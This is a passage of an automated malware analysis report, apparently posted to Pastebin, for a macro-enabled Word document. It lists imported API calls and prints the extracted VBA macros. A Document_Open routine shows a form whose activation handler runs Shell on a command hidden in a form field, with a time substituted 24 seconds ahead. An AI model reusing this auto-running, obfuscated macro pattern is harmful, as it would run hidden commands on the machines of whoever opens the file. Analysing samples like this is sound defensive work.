  3670. "mso.dll.#8106",
  3671. "mso.dll.#8876",
  3672. "mso.dll.#6185",
  3673. "vbe7.dll.DllVbeTerm",
  3674. "user32.dll.IsMenu",
  3675. "user32.dll.UnregisterClassA",
  3676. "ole32.dll.DllDebugObjectRPCHook",
  3677. "vbe7.dll.DllCanUnloadNow",
  3678. "mso.dll.#4210",
  3679. "mso.dll.#8586",
  3680. "mso.dll.#8004",
  3681. "mso.dll.#6078",
  3682. "mso.dll.#815",
  3683. "mso.dll.#187",
  3684. "mso.dll.#5625",
  3685. "mso.dll.#8316",
  3686. "mso.dll.#7598",
  3687. "ws2_32.dll.#116",
  3688. "user32.dll.RemoveClipboardFormatListener",
  3689. "user32.dll.UnregisterPowerSettingNotification",
  3690. "powrprof.dll.PowerSettingUnregisterNotification",
  3691. "shell32.dll.#155",
  3692. "gdiplus.dll.GdipDeleteCachedBitmap",
  3693. "gdiplus.dll.GdiplusShutdown",
  3694. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  3695. "winsta.dll.WinStationUnRegisterConsoleNotification",
  3696. "mso.dll.#2482",
  3697. "mso.dll.#5458",
  3698. "advapi32.dll.UnregisterTraceGuids",
  3699. "comctl32.dll.#321",
  3700. "lpk.dll.LpkEditControl",
  3701. "comctl32.dll.InitCommonControlsEx",
  3702. "kernel32.dll.SortGetHandle",
  3703. "kernel32.dll.SortCloseHandle",
  3704. "kernel32.dll.GetNativeSystemInfo",
  3705. "kernel32.dll.GetSystemWow64DirectoryW",
  3706. "ntdll.dll.WinSqmIsOptedIn",
  3707. "shlwapi.dll.UrlIsW",
  3708. "shlwapi.dll.UrlGetPartW",
  3709. "ole32.dll.StgOpenStorage",
  3710. "kernel32.dll.GetThreadPreferredUILanguages",
  3711. "ole32.dll.CoInitialize",
  3712. "cryptbase.dll.SystemFunction036",
  3713. "uxtheme.dll.ThemeInitApiHook",
  3714. "user32.dll.IsProcessDPIAware",
  3715. "netapi32.dll.NetGetJoinInformation",
  3716. "netapi32.dll.NetApiBufferFree",
  3717. "ole32.dll.CoQueryProxyBlanket",
  3718. "msi.dll.DllGetClassObject",
  3719. "msi.dll.DllCanUnloadNow",
  3720. "ole32.dll.CoSetProxyBlanket",
  3721. "kernel32.dll.SetThreadExecutionState",
  3722. "ole32.dll.CoTaskMemAlloc",
  3723. "shell32.dll.SHChangeNotify",
  3724. "ole32.dll.CoTaskMemFree",
  3725. "ole32.dll.CoInitializeEx",
  3726. "ole32.dll.CoUninitialize",
  3727. "oleaut32.dll.#500"
  3728. ]
  3729.  
  3730. [*] Static Analysis: {
  3731. "office": {
  3732. "Macro": {
  3733. "Code": {
  3734. "Macro2": [
  3735. [
  3736. "App1.frm",
  3737. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n"
  3738. ]
  3739. ],
  3740. "Macro1": [
  3741. [
  3742. "ThisDocument.cls",
  3743. "Sub document_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  3744. ]
  3745. ]
  3746. },
  3747. "Analysis": {
  3748. "Suspicious": [
  3749. [
  3750. "CallByName",
  3751. "May attempt to obfuscate malicious function calls"
  3752. ],
  3753. [
  3754. "Shell",
  3755. "May run an executable file or a system command"
  3756. ]
  3757. ],
  3758. "AutoExec": [
  3759. [
  3760. "Document_Open",
  3761. "Runs when the Word document is opened"
  3762. ]
  3763. ]
  3764. }
  3765. },
  3766. "Metadata": {
  3767. "SummaryInformation": {
  3768. "num_words": "23",
  3769. "num_pages": "1",
  3770. "last_saved_by": "1",
  3771. "creating_application": "Microsoft Office Word",
  3772. "author": "Microsoft Office",
  3773. "revision_number": "3",
  3774. "codepage": "1251",
  3775. "title": "",
  3776. "comments": "",
  3777. "num_chars": "134",
  3778. "total_edit_time": "0",
  3779. "create_time": "None",
  3780. "template": "Normal.dotm",
  3781. "last_printed": "None",
  3782. "keywords": "",
  3783. "security": "0",
  3784. "last_saved_time": "None",
  3785. "thumbnail": "None",
  3786. "subject": ""
  3787. },
  3788. "DocumentSummaryInformation": {
  3789. "codepage_doc": "1251",
  3790. "chars_with_spaces": "156",
  3791. "shared_doc": "False",
  3792. "paragraphs": "1",
  3793. "hidden_slides": "None",
  3794. "mm_clips": "None",
  3795. "category": "None",
  3796. "presentation_target": "None",
  3797. "hlinks_changed": "False",
  3798. "scale_crop": "False",
  3799. "version": "1048576",
  3800. "hlinks": "None",
  3801. "link_base": "None",
  3802. "company": "Microsoft Corporation",
  3803. "unused": "None",
  3804. "dig_sig": "None",
  3805. "content_type": "None",
  3806. "heading_pairs": "None",
  3807. "slides": "None",
  3808. "links_dirty": "False",
  3809. "language": "None",
  3810. "notes": "None",
  3811. "bytes": "None",
  3812. "manager": "None",
  3813. "content_status": "None",
  3814. "doc_version": "None",
  3815. "titles_of_parts": "None",
  3816. "lines": "1"
  3817. },
  3818. "HasMacros": "Yes",
  3819. "DocumentType": "Word Document"
  3820. }
  3821. }
  3822. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!